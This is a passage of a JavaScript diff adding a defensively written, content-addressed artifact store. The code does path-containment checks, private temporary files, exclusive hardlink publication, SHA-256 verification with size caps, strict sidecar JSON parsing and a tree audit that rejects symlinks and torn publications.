Number(left.dev) === Number(right.dev) && Number(left.ino) === Number(right.ino); +} + +async function openRootHandle(rootPath) { + let handle; + try { + handle = await open(rootPath, ROOT_OPEN_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') { + failStore('artifact_root_missing', 'root', 'The artifact store root does not exist.'); + } + failStore('artifact_root_unsafe', 'root', + 'The artifact store root could not be opened as a real non-symlink directory.'); + } + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isDirectory()) { + failStore('artifact_root_unsafe', 'root', 'The artifact store root must be a real directory.'); + } + assertPrivateDirectory(stat, 'root', 'root'); + return { handle, path: rootPath, dev: Number(stat.dev), ino: Number(stat.ino) }; + } catch (error) { + await handle.close().catch(() => {}); + throw error; + } +} + +async function reopenRoot(token) { + const opened = await openRootHandle(token.path); + if (!sameIdentity(opened, token)) { + await opened.handle.close().catch(() => {}); + failStore('artifact_root_unsafe', 'root', 'The artifact store root was replaced while the store was open.'); + } + return opened; +} + +// Map one validated relative path into its two namespace locations. The +// mapping is injective, and containment is proven defensively even though +// the P07 grammar already forbids traversal. +function namespaceLocations(rootPath, artifactClass, relativePath) { + if (!capturedIncludes(ARTIFACT_CLASSES, artifactClass)) { + failStore('invalid_format', 'artifact_class', 'The artifact class is not a known namespace.'); + } + const segments = validateArtifactRelativePathV1(relativePath, 'artifact_ref.relative_path').segments; + const classDir = PATH_JOIN(rootPath, artifactClass); + const contentBase = PATH_JOIN(classDir, ARTIFACT_STORE_CONTENT_DIR); + const metaBase = PATH_JOIN(classDir, ARTIFACT_STORE_META_DIR); + const joined = PATH_JOIN('/', ...segments).slice(1); + const contentTarget = `${contentBase}/${joined}`; + const metaTarget = `${metaBase}/${joined}${ARTIFACT_STORE_META_SUFFIX}`; + for (const [baseDir, target] of [[contentBase, contentTarget], [metaBase, metaTarget]]) { + const escaped = PATH_RELATIVE(baseDir, target); + if (PATH_IS_ABSOLUTE(escaped) || escaped === '' || escaped.startsWith('..')) { + failStore('artifact_path_escapes_root', 'artifact_ref.relative_path', + 'The validated artifact path would leave its namespace; publication is refused.'); + } + } + return { contentTarget, metaTarget, contentBase, metaBase, segments }; +} + +// Walk (creating when absent) the directory chain beneath baseDir named by +// parentSegments, proving every component to be a real private directory and +// capturing identities so later swaps are provable. +async function ensureParentChain(baseDir, parentSegments, captures) { + await ensurePrivateDirectory(baseDir, captures); + let current = baseDir; + for (let index = 0; index < parentSegments.length; index += 1) { + current = PATH_JOIN(current, parentSegments[index]); + await ensurePrivateDirectory(current, captures); + } + return captures; +} + +async function ensurePrivateDirectory(dir, captures) { + let stat = await lstat(dir).catch((error) => { + if (error?.code === 'ENOENT') return undefined; + failStore('artifact_parent_unsafe', 'parent', 'A store directory could not be inspected.'); + }); + if (stat === undefined) { + await mkdir(dir, { mode: 0o700 }).catch((error) => { + if (error?.code === 'EEXIST') return; + failStore('artifact_parent_unsafe', 'parent', 'A store directory could not be created.'); + }); + stat = await lstat(dir).catch(() => undefined); + if (stat === undefined) { + failStore('artifact_parent_unsafe', 'parent', 'A created store directory disappeared immediately.'); + } + } + assertPrivateDirectory(stat, 'parent', 'directory'); + captures.push({ path: dir, dev: Number(stat.dev), ino: Number(stat.ino), mode: Number(stat.mode) }); +} + +async function assertChainUnchanged(captures) { + for (let index = 0; index < captures.length; index += 1) { + const before = captures[index]; + const stat = await lstat(before.path).catch(() => undefined); + if (stat === undefined) { + failStore('artifact_parent_swapped', 'parent', 'A store directory vanished during publication.'); + } + if (Number(stat.dev) !== before.dev || Number(stat.ino) !== before.ino + || Number(stat.mode) !== before.mode) { + failStore('artifact_parent_swapped', 'parent', 'A store directory was replaced during publication.'); + } + } +} + +// ---- Temporary files, exclusive publication, fsync discipline. --------------- + +async function syncDirectoryOf(filePath) { + let handle; + try { + handle = await open(PATH_DIRNAME(filePath), ROOT_OPEN_FLAGS); + } catch { + return; + } + try { + await handle.sync(); + } catch (error) { + if (error?.code === 'EINVAL' || error?.code === 'ENOTSUP') return; + failStore('artifact_stream_failed', 'temporary', 'A store directory could not be synchronized.'); + } finally { + await handle.close().catch(() => {}); + } +} + +async function createPrivateTemp(directory) { + const target = PATH_JOIN(directory, `.tmp-${RANDOM_BYTES(16).toString('hex')}`); + let handle; + try { + handle = await open(target, FILE_CREATE_FLAGS, 0o600); + } catch { + failStore('artifact_stream_failed', 'temporary', + 'A private unpredictable temporary file could not be created exclusively.'); + } + try { + await handle.chmod(0o600); + } catch { + await handle.close().catch(() => {}); + await unlink(target).catch(() => {}); + failStore('artifact_stream_failed', 'temporary', 'A temporary file could not be kept owner-only.'); + } + return { handle, path: target }; +} + +async function writeChunk(handle, view) { + let written = 0; + while (written < view.byteLength) { + const end = Math.min(written + ARTIFACT_STORE_INGEST_CHUNK_BYTES, view.byteLength); + const slice = view.subarray(written, end); + let result; + try { + result = await handle.write(slice, 0, slice.byteLength); + } catch { + failStore('artifact_stream_failed', 'source', 'Artifact bytes could not be written to the temporary file.'); + } + if (!NUMBER_IS_SAFE_INTEGER(result?.bytesWritten) || result.bytesWritten !== slice.byteLength) { + failStore('artifact_stream_failed', 'source', 'A write to the temporary file was short.'); + } + written += result.bytesWritten; + } +} + +// Remove one of our own temporaries. The name grammar is re-proved and the +// entry must be a regular owned file opened without following links. +async function discardTemp(entry) { + if (!entry) return; + await entry.handle.close().catch(() => {}); + const leaf = PATH_BASENAME(entry.path); + if (!capturedTest(PRIVATE_TEMP_NAME_PATTERN, leaf)) return; + let handle; + try { + handle = await open(entry.path, FILE_READ_FLAGS); + } catch { + return; + } + try { + const stat = await handle.stat(); + if (!stat.isFile() || stat.isSymbolicLink()) return; + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) return; + } finally { + await handle.close().catch(() => {}); + } + await unlink(entry.path).catch(() => {}); +} + +async function exclusiveLink(tempPath, targetPath) { + try { + await link(tempPath, targetPath); + } catch (error) { + if (error?.code === 'EEXIST') return false; + if (error?.code === 'ELOOP') { + failStore('artifact_entry_unsafe', 'artifact_ref.relative_path', + 'The artifact destination is a symbolic link and was not followed.'); + } + failStore('artifact_stream_failed', 'artifact_ref.relative_path', + 'The artifact could not be published exclusively.'); + } + return true; +} + +// Roll back our own just-linked content, but only when the platform proves +// the entry under the public name is exactly the inode we published. +async function rollbackOwnLink(targetPath, tempStat) { + let handle; + try { + handle = await open(targetPath, FILE_READ_FLAGS); + } catch { + return false; + } + let ours = false; + try { + const stat = await handle.stat(); + if (stat.isFile() && !stat.isSymbolicLink() && sameIdentity(stat, tempStat)) ours = true; + } finally { + await handle.close().catch(() => {}); + } + if (ours) await unlink(targetPath).catch(() => {}); + return ours; +} + +// ---- Streaming ingest with the class cap enforced before any write. ---------- + +async function ingestSource(handle, classified, cap, declaredLength) { + const hash = CREATE_HASH('sha256'); + let received = 0; + if (classified.kind === 'bytes') { + const view = classified.value; + if (view.byteLength > cap) { + failStore('artifact_stream_over_cap', 'source', + `The artifact bytes exceed the ${cap}-byte class cap; nothing was published.`); + } + await writeChunk(handle, view); + received = view.byteLength; + if (received > 0) hash.update(view); + } else { + try { + for await (const chunk of classified.value) { + if (!isIntrinsicBinaryView(chunk)) { + failStore('artifact_stream_invalid_chunk', 'source', + 'Every stream chunk must be an intrinsic Buffer/Uint8Array view.'); + } + const size = chunk.byteLength; + if (size > cap - received) { + failStore('artifact_stream_over_cap', 'source', + `The artifact stream exceeded the ${cap}-byte class cap; nothing beyond the cap was published.`); + } + if (received + size > declaredLength) { + failStore('artifact_length_mismatch', 'source', + 'The artifact stream grew past its declared byte length; publication is refused.'); + } + await writeChunk(handle, chunk); + if (size > 0) hash.update(chunk); + received += size; + } + } catch (error) { + // Typed denials already carry their own content-free verdict; anything + // else the iterable throws is swallowed into one typed denial so no + // caller-supplied message, stack, or host detail ever escapes. + if (error instanceof RunContractV1Error) throw error; + failStore('artifact_stream_failed', 'source', + 'The artifact stream failed before its declared length; nothing was published.'); + } + } + return { received, digest: hash.digest('hex') }; +} + +// ---- Sidecar build and strict parse. ----------------------------------------- + +function buildMetaBytes(snapshot, byteLength, sha256Hex) { + const document = { + schema: ARTIFACT_STORE_SCHEMA_ID, + artifact_ref: snapshot, + byte_length: byteLength, + sha256: sha256Hex, + }; + const bytes = BUFFER_FROM(`${canonicalJsonStringify(document)}\n`, 'utf8'); + if (bytes.byteLength > MAX_ARTIFACT_STORE_META_BYTES) { + failStore('artifact_metadata_malformed', 'meta', 'The sidecar document exceeds its bounded size.'); + } + return bytes; +} + +function assertNoDuplicateJsonKeys(text, field) { + const scopes = [{ object: true, keys: new SET_CTOR() }]; + let inString = false; + let escaped = false; + let stringStart = -1; + for (let index = 0; index < text.length; index += 1) { + const char = text[index]; + if (inString) { + if (escaped) escaped = false; + else if (char === '\\') escaped = true; + else if (char === '"') { + inString = false; + const scope = scopes[scopes.length - 1]; + if (scope.object) { + let cursor = index + 1; + while (cursor < text.length && (text[cursor] === ' ' || text[cursor] === '\n' + || text[cursor] === '\r' || text[cursor] === '\t')) cursor += 1; + if (text[cursor] === ':') { + let key; + try { + key = JSON_PARSE(text.slice(stringStart - 1, index + 1)); + } catch { + failStore('artifact_metadata_malformed', field, 'Sidecar JSON carries an invalid key.'); + } + if (scope.keys.has(key)) { + failStore('artifact_metadata_malformed', field, + 'Sidecar documents must not contain duplicate keys.'); + } + scope.keys.add(key); + } + } + } + continue; + } + if (char === '"') { + inString = true; + escaped = false; + stringStart = index + 1; + continue; + } + if (char === '{') { + scopes.push({ object: true, keys: new SET_CTOR() }); + if (scopes.length > 40) { + failStore('artifact_metadata_malformed', field, 'Sidecar JSON exceeds the nesting bound.'); + } + continue; + } + if (char === '[') { + scopes.push({ object: false, keys: new SET_CTOR() }); + if (scopes.length > 40) { + failStore('artifact_metadata_malformed', field, 'Sidecar JSON exceeds the nesting bound.'); + } + continue; + } + if (char === '}' || char === ']') { + scopes.pop(); + if (scopes.length === 0) { + failStore('artifact_metadata_malformed', field, 'Sidecar JSON is unbalanced.'); + } + } + } + if (inString || scopes.length !== 1) { + failStore('artifact_metadata_malformed', field, 'Sidecar JSON is incomplete.'); + } +} + +function decodeUtf8(bytes, field) { + if (bytes.byteLength >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) { + failStore('artifact_metadata_malformed', field, 'Sidecar documents must not begin with a UTF-8 BOM.'); + } + try { + return TEXT_DECODER.decode(bytes); + } catch { + failStore('artifact_metadata_malformed', field, 'Sidecar documents must be valid UTF-8.'); + } +} + +// Strictly parse one sidecar and prove it describes exactly the claimed +// reference at exactly the claimed location. Any deviation is malformed or +// foreign; nothing about the hostile document is echoed back. +function parseMetaDocument(bytes, expectedClass, expectedRelativePath, field) { + if (!BUFFER_IS_BUFFER(bytes) || bytes.byteLength === 0) { + failStore('artifact_metadata_malformed', field, 'The sidecar document is missing or empty.'); + } + if (bytes.byteLength > MAX_ARTIFACT_STORE_META_BYTES) { + failStore('artifact_metadata_malformed', field, 'The sidecar document exceeds its bounded size.'); + } + const text = decodeUtf8(bytes, field); + assertNoDuplicateJsonKeys(text, field); + let parsed; + try { + parsed = JSON_PARSE(text); + } catch { + failStore('artifact_metadata_malformed', field, 'The sidecar document is not valid JSON.'); + } + assertPlainObject(parsed, 'artifact_metadata_malformed', field, 'The sidecar document'); + assertDirectJsonClosure(parsed, field); + const keys = sortedCapturedKeys(parsed); + if (keys.length !== META_KEYS.length) { + failStore('artifact_metadata_malformed', field, 'The sidecar document carries unexpected keys.'); + } + for (let index = 0; index < META_KEYS.length; index += 1) { + if (!capturedIncludes(keys, META_KEYS[index])) { + failStore('artifact_metadata_malformed', field, 'The sidecar document carries unexpected keys.'); + } + } + if (parsed.schema !== ARTIFACT_STORE_SCHEMA_ID) { + failStore('artifact_metadata_malformed', `${field}.schema`, + `The sidecar schema must be exactly "${ARTIFACT_STORE_SCHEMA_ID}".`); + } + const snapshot = parseArtifactRefV1(parsed.artifact_ref, `${field}.artifact_ref`); + const byteLength = parsed.byte_length; + if (typeof byteLength !== 'number' || !NUMBER_IS_SAFE_INTEGER(byteLength) + || byteLength < MIN_ARTIFACT_BYTE_LENGTH) { + failStore('artifact_metadata_malformed', `${field}.byte_length`, + 'The sidecar byte length must be a positive integer.'); + } + if (byteLength !== snapshot.byte_length) { + failStore('artifact_metadata_malformed', `${field}.byte_length`, + 'The sidecar byte length disagrees with its bound reference.'); + } + if (typeof parsed.sha256 !== 'string' || !capturedTest(PRIVATE_SHA256_PATTERN, parsed.sha256)) { + failStore('artifact_metadata_malformed', `${field}.sha256`, + 'The sidecar digest must be a 64-character lowercase hex SHA-256.'); + } + if (parsed.sha256 !== snapshot.sha256) { + failStore('artifact_metadata_malformed', `${field}.sha256`, + 'The sidecar digest disagrees with its bound reference.'); + } + if (snapshot.artifact_class !== expectedClass || snapshot.relative_path !== expectedRelativePath) { + failStore('artifact_foreign_entry', field, + 'The sidecar describes a different artifact than its location names.'); + } + return snapshot; +} + +function canonicalSnapshotText(snapshot) { + return canonicalJsonStringify(snapshot); +} + +function digestsMatch(leftHex, rightHex) { + if (typeof leftHex !== 'string' || typeof rightHex !== 'string') return false; + if (leftHex.length !== 64 || rightHex.length !== 64) return false; + return TIMING_SAFE_EQUAL(BUFFER_FROM(leftHex, 'hex'), BUFFER_FROM(rightHex, 'hex')) === true; +} + +// ---- Bounded reads of stored artifacts. --------------------------------------- + +async function openStoredFile(targetPath) { + try { + return await open(targetPath, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failStore('artifact_entry_unsafe', 'content', + 'The stored artifact location is not a regular non-symlink file.'); + } + failStore('artifact_entry_unsafe', 'content', 'The stored artifact could not be opened safely.'); + } +} + +async function readBoundedFile(targetPath, maxBytes, field) { + const handle = await openStoredFile(targetPath); + if (handle === null) return null; + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) > maxBytes) { + failStore('artifact_metadata_malformed', field, 'The stored document exceeds its bounded size.'); + } + const bytes = await handle.readFile(); + if (bytes.byteLength > maxBytes) { + failStore('artifact_metadata_malformed', field, 'The stored document exceeds its bounded size.'); + } + const after = await handle.stat(); + if (!sameIdentity(stat, after) || Number(after.size) !== Number(stat.size)) { + failStore('artifact_torn_publication', field, 'The stored document changed while it was read.'); + } + return { bytes, stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +// Open one published content file with full regular-file discipline and its +// class cap applied to the observed size. The caller owns closing the handle. +async function openPublishedContent(targetPath, cap) { + const handle = await openStoredFile(targetPath); + if (handle === null) return null; + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, 'content'); + const size = Number(stat.size); + if (!NUMBER_IS_SAFE_INTEGER(size) || size > cap) { + failStore('artifact_entry_unsafe', 'content', + `Stored content must not exceed the ${cap}-byte class cap.`); + } + return { handle, size }; + } catch (error) { + await handle.close().catch(() => {}); + throw error; + } +} + +// Stream content only to recompute its length and digest. Bytes are never +// returned, buffered whole, or echoed. +async function measureStoredContent(handle, cap) { + const hash = CREATE_HASH('sha256'); + let received = 0; + const chunk = BUFFER_ALLOC(ARTIFACT_STORE_INGEST_CHUNK_BYTES); + while (true) { + let read; + try { + read = await handle.read(chunk, 0, chunk.byteLength, null); + } catch { + failStore('artifact_entry_unsafe', 'content', 'Stored artifact bytes could not be read safely.'); + } + if (read.bytesRead === 0) break; + received += read.bytesRead; + if (received > cap) { + failStore('artifact_entry_unsafe', 'content', + `Stored content exceeds the ${cap}-byte class cap.`); + } + hash.update(chunk.subarray(0, read.bytesRead)); + } + return { received, digest: hash.digest('hex') }; +} + +async function measurePublishedContent(targetPath, snapshot) { + const cap = maxByteLengthForClass(snapshot.artifact_class); + const opened = await openPublishedContent(targetPath, cap); + if (opened === null) { + failStore('artifact_torn_publication', 'content', + 'A sidecar exists without content; the publication is torn.'); + } + try { + const measured = await measureStoredContent(opened.handle, cap); + if (measured.received !== snapshot.byte_length || measured.received !== opened.size) { + failStore('artifact_length_mismatch', 'content', + 'Stored content length does not match the declared byte length.'); + } + if (!digestsMatch(measured.digest, snapshot.sha256)) { + failStore('artifact_digest_mismatch', 'content', + 'Stored content does not hash to the declared SHA-256 digest.'); + } + return measured; + } finally { + await opened.handle.close().catch(() => {}); + } +} + +// Verify one stored location end-to-end against one validated reference: +// sidecar presence, strict shape, regular-file discipline, streaming +// length/digest agreement, and exact reference equality. Returns the stored +// reference snapshot on success. +async function verifyLocation(rootPath, snapshot) { + const locations = namespaceLocations(rootPath, snapshot.artifact_class, snapshot.relative_path); + const metaOpened = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, 'meta'); + if (metaOpened === null) { + const probe = await openStoredFile(locations.contentTarget); + if (probe !== null) { + await probe.close().catch(() => {}); + failStore('artifact_torn_publication', 'content', + 'Content exists without its sidecar; the publication is torn.'); + } + failStore('artifact_not_found', 'artifact_ref', 'No stored artifact exists for that reference.'); + } + parseMetaDocument(metaOpened.bytes, snapshot.artifact_class, snapshot.relative_path, 'meta'); + await measurePublishedContent(locations.contentTarget, snapshot); + return locations; +} + +// ---- Bounded enumeration for audit. -------------------------------------------- + +async function listDirectoryEntries(directory, field) { + let dir; + try { + dir = await opendir(directory, { bufferSize: 16 }); + } catch (error) { + if (error?.code === 'ENOENT') return []; + if (error?.code === 'ELOOP' || error?.code === 'ENOTDIR') { + failStore('artifact_parent_unsafe', field, 'A store tree is not a real directory.'); + } + failStore('artifact_parent_unsafe', field, 'A store directory could not be enumerated.'); + } + const names = []; + try { + let count = 0; + while (true) { + const entry = await dir.read(); + if (entry === null) break; + count += 1; + if (count > MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES) { + failStore('artifact_inventory_exceeded', field, + `Store directories must not exceed ${MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES} entries.`); + } + if (entry.name === '.' || entry.name === '..') continue; + names.push(entry.name); + } + } finally { + await dir.close().catch(() => {}); + } + names.sort(compareStrings); + return names; +} + +function assertLegalEntryName(name, field) { + if (capturedTest(PRIVATE_TEMP_NAME_PATTERN, name)) { + failStore('artifact_torn_temporary', field, + 'A leftover temporary file is not authoritative and is not followed.'); + } + try { + validateArtifactRelativePathV1(name, field); + } catch { + failStore('artifact_foreign_entry', field, + 'A store entry name is not a legal artifact path segment.'); + } +} + +// Depth-first bounded sweep of one tree. Returns the sorted relative paths of +// every regular-file leaf, condemning symlinks, special files, hardlinks, +// reserved temporaries, foreign names, and bound overruns along the way. +async function sweepTree(treeRoot, field, accounting) { + const found = []; + const walk = async (dir, prefix, depth) => { + if (depth > ARTIFACT_STORE_MAX_DEPTH) { + failStore('artifact_inventory_exceeded', field, + `Store trees must not exceed ${ARTIFACT_STORE_MAX_DEPTH} levels of nesting.`); + } + const names = await listDirectoryEntries(dir, field); + for (let index = 0; index < names.length; index += 1) { + const name = names[index]; + assertLegalEntryName(name, field); + const child = PATH_JOIN(dir, name); + const relative = prefix === '' ? name : `${prefix}/${name}`; + const stat = await lstat(child).catch(() => undefined); + if (stat === undefined) { + failStore('artifact_entry_unsafe', field, 'A store entry vanished while it was audited.'); + } + if (stat.isSymbolicLink()) { + failStore('artifact_entry_unsafe', field, 'Store trees must not contain symbolic links.'); + } + if (stat.isDirectory()) { + await walk(child, relative, depth + 1); + continue; + } + if (!stat.isFile()) { + failStore('artifact_entry_unsafe', field, + 'Store trees must contain only regular files and real directories.'); + } + assertRegularUnsharedFile(stat, field); + accounting.files += 1; + if (accounting.files > MAX_ARTIFACT_STORE_AUDIT_FILES) { + failStore('artifact_inventory_exceeded', field, + `A namespace must not exceed ${MAX_ARTIFACT_STORE_AUDIT_FILES} stored files.`); + } + validateArtifactRelativePathV1(relative, field); + found.push(relative); + } + }; + await walk(treeRoot, '', 0); + found.sort(compareStrings); + return found; +} + +// ---- Inventory fingerprint ------------------------------------------------------ + +function inventoryDigestOf(entries) { + const hash = CREATE_HASH('sha256'); + const frame = (bytes) => { + const prefix = BUFFER_ALLOC(4); + prefix.writeUInt32BE(bytes.length, 0); + hash.update(prefix); + hash.update(bytes); + }; + frame(BUFFER_FROM(ARTIFACT_DIGEST_DOMAIN, 'utf8')); + const version = BUFFER_ALLOC(4); + version.writeUInt32BE(ARTIFACT_DIGEST_VERSION, 0); + hash.update(version); + frame(BUFFER_FROM(ARTIFACT_STORE_INVENTORY_LABEL, 'utf8')); + const count = BUFFER_ALLOC(8); + WRITE_BIGUINT64_BE.call(count, BigInt(entries.length), 0); + hash.update(count); + for (let index = 0; index < entries.length; index += 1) { + const entry = entries[index]; + frame(BUFFER_FROM(entry.artifact_class, 'utf8')); + frame(BUFFER_FROM(entry.relative_path, 'utf8')); + const length = BUFFER_ALLOC(8); + WRITE_BIGUINT64_BE.call(length, BigInt(entry.byte_length), 0); + hash.update(length); + frame(BUFFER_FROM(entry.sha256, 'utf8')); + } + return hash.digest('hex'); +} + +// ---- Structural audit (no content streaming). ------------------------------------ + +// Prove the whole tree shape: only the two class namespaces exist; each holds +// only real private content/meta directories; every entry name is a legal +// segment; every leaf is a regular unshared owner-only file; content and +// sidecars pair up exactly; and every sidecar strictly re-parses to the +// reference its location names, with matching content size. +async function structuralAudit(rootPath) { + const perNamespace = capturedCreate(null); + const entries = []; + for (let index = 0; index < ARTIFACT_CLASSES.length; index += 1) { + const artifactClass = ARTIFACT_CLASSES[index]; + const field = artifactClass; + const classDir = PATH_JOIN(rootPath, artifactClass); + const classStat = await lstat(classDir).catch((error) => { + if (error?.code === 'ENOENT') return undefined; + failStore('artifact_parent_unsafe', field, 'A store namespace could not be inspected.'); + }); + if (classStat === undefined) { + perNamespace[artifactClass] = { artifacts: 0, bytes: 0 }; + continue; + } + assertPrivateDirectory(classStat, field, 'namespace'); + const names = await listDirectoryEntries(classDir, field); + for (let nameIndex = 0; nameIndex < names.length; nameIndex += 1) { + const name = names[nameIndex]; + if (name !== ARTIFACT_STORE_CONTENT_DIR && name !== ARTIFACT_STORE_META_DIR) { + if (capturedTest(PRIVATE_TEMP_NAME_PATTERN, name)) { + failStore('artifact_torn_temporary', field, + 'A leftover temporary file is not authoritative and is not followed.'); + } + failStore('artifact_foreign_entry', field, 'A store namespace contains a foreign entry.'); + } + const childStat = await lstat(PATH_JOIN(classDir, name)).catch(() => undefined); + if (childStat === undefined) { + failStore('artifact_parent_unsafe', field, 'A store namespace entry vanished while it was audited.'); + } + assertPrivateDirectory(childStat, field, `namespace ${name}`); + } + const contentDir = PATH_JOIN(classDir, ARTIFACT_STORE_CONTENT_DIR); + const metaDir = PATH_JOIN(classDir, ARTIFACT_STORE_META_DIR); + const accounting = { files: 0 }; + const contentPaths = await lstat(contentDir).then( + () => sweepTree(contentDir, `${field}.content`, accounting), + (error) => { + if (error?.code === 'ENOENT') return []; + failStore('artifact_parent_unsafe', `${field}.content`, 'A content tree could not be inspected.'); + }, + ); + const metaPaths = await lstat(metaDir).then( + () => sweepTree(metaDir, `${field}.meta`, accounting), + (error) => { + if (error?.code === 'ENOENT') return []; + failStore('artifact_parent_unsafe', `${field}.meta`, 'A sidecar tree could not be inspected.'); + }, + ); + const contentSet = new SET_CTOR(contentPaths); + const metaSet = new SET_CTOR(); + for (let metaIndex = 0; metaIndex < metaPaths.length; metaIndex += 1) { + const stripped = metaPaths[metaIndex].replace(/\.json$/u, ''); + validateArtifactRelativePathV1(stripped, `${field}.meta`); + metaSet.add(stripped); + } + if (contentPaths.length !== contentSet.size || metaPaths.length !== metaSet.size) { + failStore('artifact_foreign_entry', field, + 'Two sidecars or two content files claim one artifact location.'); + } + for (let contentIndex = 0; contentIndex < contentPaths.length; contentIndex += 1) { + if (!metaSet.has(contentPaths[contentIndex])) { + failStore('artifact_torn_publication', `${field}.content`, + 'Content exists without its sidecar; the publication is torn.'); + } + } + for (const stripped of metaSet) { + if (!contentSet.has(stripped)) { + failStore('artifact_torn_publication', `${field}.meta`, + 'A sidecar exists without content; the publication is torn.'); + } + } + let namespaceBytes = 0; + for (let contentIndex = 0; contentIndex < contentPaths.length; contentIndex += 1) { + const relative = contentPaths[contentIndex]; + const locations = namespaceLocations(rootPath, artifactClass, relative); + const metaOpened = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, + `${field}.meta`); + if (metaOpened === null) { + failStore('artifact_torn_publication', `${field}.meta`, + 'A sidecar disappeared while the store was audited.'); + } + const snapshot = parseMetaDocument(metaOpened.bytes, artifactClass, relative, `${field}.meta`); + const stat = await lstat(locations.contentTarget).catch(() => undefined); + if (stat === undefined) { + failStore('artifact_torn_publication', `${field}.content`, + 'Content disappeared while the store was audited.'); + } + assertRegularUnsharedFile(stat, `${field}.content`); + const size = Number(stat.size); + if (size !== snapshot.byte_length || size > maxByteLengthForClass(artifactClass)) { + failStore('artifact_entry_unsafe', `${field}.content`, + 'Stored content size disagrees with its sidecar or exceeds the class cap.'); + } + namespaceBytes += size; + entries.push({ + artifact_class: artifactClass, + relative_path: relative, + byte_length: snapshot.byte_length, + sha256: snapshot.sha256, + }); + } + perNamespace[artifactClass] = { artifacts: contentPaths.length, bytes: namespaceBytes }; + } + entries.sort((left, right) => compareStrings(left.artifact_class, right.artifact_class) + || compareStrings(left.relative_path, right.relative_path)); + return { perNamespace, entries }; +} + +// ---- Publication ----------------------------------------------------------------- + +// Read and fully re-verify whatever authoritative state already occupies this +// location. Refuses torn states instead of healing them. +async function readExistingState(locations, snapshot) { + const metaOpened = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, 'meta'); + if (metaOpened === null) { + failStore('artifact_torn_publication', 'meta', + 'Content exists without its sidecar; the store is torn and publication is refused.'); + } + const existingSnapshot = parseMetaDocument(metaOpened.bytes, snapshot.artifact_class, + snapshot.relative_path, 'meta'); + const measured = await measurePublishedContent(locations.contentTarget, existingSnapshot); + return { existingSnapshot, measured }; +} + +function classifyExistingConflict(existingSnapshot, snapshot) { + if (existingSnapshot.byte_length === snapshot.byte_length + && digestsMatch(existingSnapshot.sha256, snapshot.sha256)) { + return 'artifact_metadata_conflict'; + } + return 'artifact_content_conflict'; +} + +async function publishPrepared(root, snapshot, source) { + const locations = namespaceLocations(root.path, snapshot.artifact_class, snapshot.relative_path); + const cap = maxByteLengthForClass(snapshot.artifact_class); + const leaf = locations.segments[locations.segments.length - 1]; + if (capturedTest(PRIVATE_TEMP_NAME_PATTERN, leaf) + || capturedTest(PRIVATE_TEMP_NAME_PATTERN, `${leaf}${ARTIFACT_STORE_META_SUFFIX}`)) { + failStore('artifact_reserved_name_denied', 'artifact_ref.relative_path', + 'An artifact path may not spell the reserved temporary-name grammar.'); + } + + const captures = []; + await ensurePrivateDirectory(PATH_JOIN(root.path, snapshot.artifact_class), captures); + await ensureParentChain(locations.contentBase, locations.segments.slice(0, -1), captures); + await ensureParentChain(locations.metaBase, locations.segments.slice(0, -1), captures); + + // A pre-existing sidecar decides first: identical means this exact + // publication already completed; anything else conflicts before we touch + // content at all. + const preexistingMeta = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, + 'meta'); + if (preexistingMeta !== null) { + const existingSnapshot = parseMetaDocument(preexistingMeta.bytes, snapshot.artifact_class, + snapshot.relative_path, 'meta'); + if (canonicalSnapshotText(existingSnapshot) !== canonicalSnapshotText(snapshot)) { + failStore(classifyExistingConflict(existingSnapshot, snapshot), 'artifact_ref', + 'A different artifact already occupies this location.'); + } + await readExistingState(locations, snapshot); + await assertChainUnchanged(captures); + return receiptFor(snapshot, { created: false, byteLength: snapshot.byte_length, + sha256: snapshot.sha256 }); + } + + // Ingest into a private unpredictable same-directory temporary with the + // class cap enforced before each chunk is written. + const contentTemp = await createPrivateTemp(PATH_DIRNAME(locations.contentTarget)); + let metaTemp; + try { + const classified = classifySource(source); + const ingested = await ingestSource(contentTemp.handle, classified, cap, snapshot.byte_length); + if (ingested.received !== snapshot.byte_length) { + failStore('artifact_length_mismatch', 'artifact_ref.byte_length', + 'Actual artifact length does not match the declared byte length; nothing was published.'); + } + if (!digestsMatch(ingested.digest, snapshot.sha256)) { + failStore('artifact_digest_mismatch', 'artifact_ref.sha256', + 'Actual artifact bytes do not hash to the declared SHA-256; nothing was published.'); + } + try { + await contentTemp.handle.sync(); + } catch { + failStore('artifact_stream_failed', 'temporary', + 'The temporary artifact could not be synchronized.'); + } + let tempStat; + try { + tempStat = await lstat(contentTemp.path); + } catch { + failStore('artifact_stream_failed', 'temporary', + 'The temporary artifact disappeared before publication.'); + } + assertRegularUnsharedFile(tempStat, 'temporary'); + if (Number(tempStat.size) !== ingested.received) { + failStore('artifact_stream_failed', 'temporary', 'The temporary write was truncated.'); + } + + const metaBytes = buildMetaBytes(snapshot, ingested.received, ingested.digest); + metaTemp = await createPrivateTemp(PATH_DIRNAME(locations.metaTarget)); + await writeChunk(metaTemp.handle, metaBytes); + await metaTemp.handle.sync(); + await metaTemp.handle.close().catch(() => {}); + + const linked = await exclusiveLink(contentTemp.path, locations.contentTarget); + if (!linked) { + // Competing publication: verify the winner instead of overwriting. + const state = await readExistingState(locations, snapshot); + if (canonicalSnapshotText(state.existingSnapshot) !== canonicalSnapshotText(snapshot)) { + failStore(classifyExistingConflict(state.existingSnapshot, snapshot), 'artifact_ref', + 'A different artifact already occupies this location.'); + } + await assertChainUnchanged(captures); + return receiptFor(snapshot, { created: false, byteLength: snapshot.byte_length, + sha256: snapshot.sha256 }); + } + + const linkedMeta = await exclusiveLink(metaTemp.path, locations.metaTarget); + if (!linkedMeta) { + const racedMeta = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, + 'meta'); + const racedSnapshot = racedMeta === null + 